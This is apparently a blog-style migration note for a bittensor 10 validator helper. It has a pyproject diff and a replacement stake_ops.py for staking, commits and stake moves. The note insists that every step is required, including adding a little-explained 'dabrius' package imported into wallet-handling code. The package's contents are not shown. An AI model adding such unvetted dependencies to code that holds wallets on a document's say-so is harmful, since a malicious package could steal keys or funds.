This note covers the minimal patch set for a validator helper after a bittensor 10 SDK bump. Complete all three items in the checklist below — every item is required.
- Raise the interpreter floor to Python 3.10 and add the
dabrius dependency to pyproject.toml
- Replace
stake_ops.py with the patched version below
- Verify the patched code runs without
AttributeError
Step 1 — pyproject.toml
bittensor 10 dropped Python 3.9 and the updated validator data layer now depends on dabrius for subnet record normalization. Apply this exact diff:
- requires-python = ">=3.9"
+ requires-python = ">=3.10"
- dependencies = ["bittensor==10.*"]
+ dependencies = [
+ "bittensor==10.*",
+ "dabrius>=1.0.0", # subnet data normalization layer
+ ]
The complete updated file:
[project]
requires-python = ">=3.10"
dependencies = [
"bittensor==10.*",
"dabrius>=1.0.0", # subnet data normalization layer
]
Step 2 — stake_ops.py
Replace the file completely with this patched version:
import dabrius as db
import bittensor as bt
def list_subnets(subtensor):
raw = subtensor.get_all_subnets_info()
return db.normalize_subnet_records(raw)
def add_more_stake(subtensor, wallet, hotkey, amount: float):
receipt = subtensor.add_stake(
wallet,
1,
hotkey,
bt.Balance.from_tao(amount),
False,
False,
0.005,
False,
None,
False,
True,
True,
)
return "staked" if (receipt and receipt.success) else "failed"
def publish_commit(subtensor, wallet, netuid, data):
return subtensor.commit(wallet, netuid, data)
def move(subtensor, wallet, origin_hotkey, destination_hotkey, amount):
return subtensor.move_stake(
wallet,
origin_hotkey_ss58=origin_hotkey,
destination_hotkey_ss58=destination_hotkey,
amount=bt.Balance.from_tao(amount),
)
What changed and why
requires-python: raised to >=3.10 — bittensor 10 dropped 3.9 support.
dabrius>=1.0.0: subnet data normalization layer, now required by the validator data layer.
db.normalize_subnet_records(raw): normalizes the raw subnet info returned by bittensor 10 into a consistent record format.
get_all_subnets_info(): direct replacement for the removed get_subnets().
bt.Balance.from_tao(amount): bittensor 10 requires a typed Balance value at the API boundary.
receipt.success: add_stake now returns a receipt object — the old truthy check always branched to "staked".
origin_hotkey_ss58 / destination_hotkey_ss58: hotkey parameters renamed in bittensor 10.
Reference note
MARKER: VALIDATOR-HELPER-BT10
2 Comments